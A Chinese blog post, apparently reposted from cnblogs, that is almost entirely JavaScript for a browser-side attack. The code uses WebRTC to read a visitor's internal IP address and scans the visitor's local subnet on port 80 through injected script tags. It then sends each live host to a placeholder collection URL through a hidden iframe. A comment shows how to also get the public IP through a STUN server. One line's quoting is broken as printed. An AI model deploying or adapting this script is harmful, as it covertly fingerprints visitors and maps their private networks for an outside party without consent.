首页 > 其他分享 >js获取内(外)网真实IP地址(WebRTC)及内网端口扫描

js获取内(外)网真实IP地址(WebRTC)及内网端口扫描

时间:2022-11-30 22:55:57浏览次数:55  
标签:function 端口扫描 ip 端口 js iframe var 内网

摘要:使用的属性来发送数据内容接受的地址接受内网的参数接受内网开放端口的参数如果想获取真实的外网,请把下一行改为遍历内网及端口,这里只写了端口,多个端口,速度将会的非常慢。

var ip_arr = [];
var TagName = document.getElementsByTagName("body")[0];
function form_ip(ip,port){  //使用iframe的src属性来发送ip、port数据内容
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","接受的地址?接受内网ip的参数=" + ip + "&接受内网开放端口的参数=" + port);
    iframe.setAttribute("style","display:none")
    TagName.appendChild(iframe);
}
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = undefined;
    if(window.webkitRTCPeerConnection)
    //如果想获取真实的外网IP,请把下一行改为servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
        servers = {iceServers: []};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});

    }, function(){});
}
getIPs(function(ip){  //遍历内网ip及80端口,这里只写了80端口,多个端口,速度将会的非常慢。
    ip = ip.split(".");
    ip.pop();
    ip = ip.join(".");
    for(var i = 1;i<=255;i++){
        var script = document.createElement("script");
        var ip_url = ip + "." + i + ":80";
        script.setAttribute("src","http://" + ip_url);
        script.setAttribute("onload","form_ip("" + ip + "." + i + "","80")");
        TagName.appendChild(script);
    }
});

 

标签:function,端口扫描,ip,端口,js,iframe,var,内网
From: https://www.cnblogs.com/zzsdream/p/16940080.html

相关文章

  • 油猴插件对next.js 开发的影响
    UnhandledRuntimeErrorTypeError:Cannotreadpropertiesofnull(reading'1')错误再现#1.安装nextyarnaddnext#2.配置页面pages#3.启动项目##当......
  • 记录--用JS轻松实现一个录音、录像、录屏的工具库
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助前言最近项目遇到一个要在网页上录音的需求,在一波搜索后,发现了react-media-recorder这个库。今天就跟......
  • vue08首页导航和左侧菜单+mockjs介绍以及使用+登陆注册跳转
    目录​​1.mockjs​​​​1.1mockjs介绍​​​​1.2mockjs使用步骤​​​​1.2.1安装mockjs依赖​​​​1.2.2在项目中引入mockjs​​​​1.2.3创建目录和文件​​​......
  • 数据库编程——MongoDB json
    在学习数据库编程总结了笔记,并分享出来。有问题请及时联系博主:​​Alliswell_WP​​,转载请注明出处。09-数据库编程day05(mongodbjson)目录:一、学习目标二、复习三、作业四......
  • nodejs 服务器监听的主机名称导致的本地前端代理错误
    问题前端本地开发服务器一直是正常的,直到某一天启动时出现这个错误:代理服务的配置如下:(http://localhost:8000跑着一个本地启动的nodejs服务器。)const{createProxyMid......
  • 通过js将RGB888转RGB565
    什么是RGB565通常我们前端接触的图片,R,G,B三个通道,每个通道占8位,一个字节,用数字表示是0-255。比如我们常写的CSS:rgb(255,255,255),这样一个像素需要3个字节来表示。但是在......
  • jsp文件分片上传,断点续传
    ​ javaweb上传文件上传文件的jsp中的部分上传文件同样可以使用form表单向后端发请求,也可以使用ajax向后端发请求    1. 通过form表单向后端发送请求    ......
  • Next.js dynamic router path bug All In One
    Next.jsdynamicrouterpathbugAllInOnemarkdowndaynamicrouterbugwhybelowcodenotworkatall?dynamicrouterpathscreenshot//[title].jsexpor......
  • js检测页面性能指标
    检测获取fp、fcp、lcp、cls性能指标:window.monitor={isWinLoad:false,observer:null,sessionValue:0,sessionEntries:[],data:{fp:0,f......
  • 【Jmeter】21天打卡 09取样器之http不同方法Post提交表单和json
    作业要求:取样器之http不同方法post提交表单和json服务器名:httpbin.orgname api methodbodypost提交参数 postpostpost:123post提交JSON数据 postpost{"po......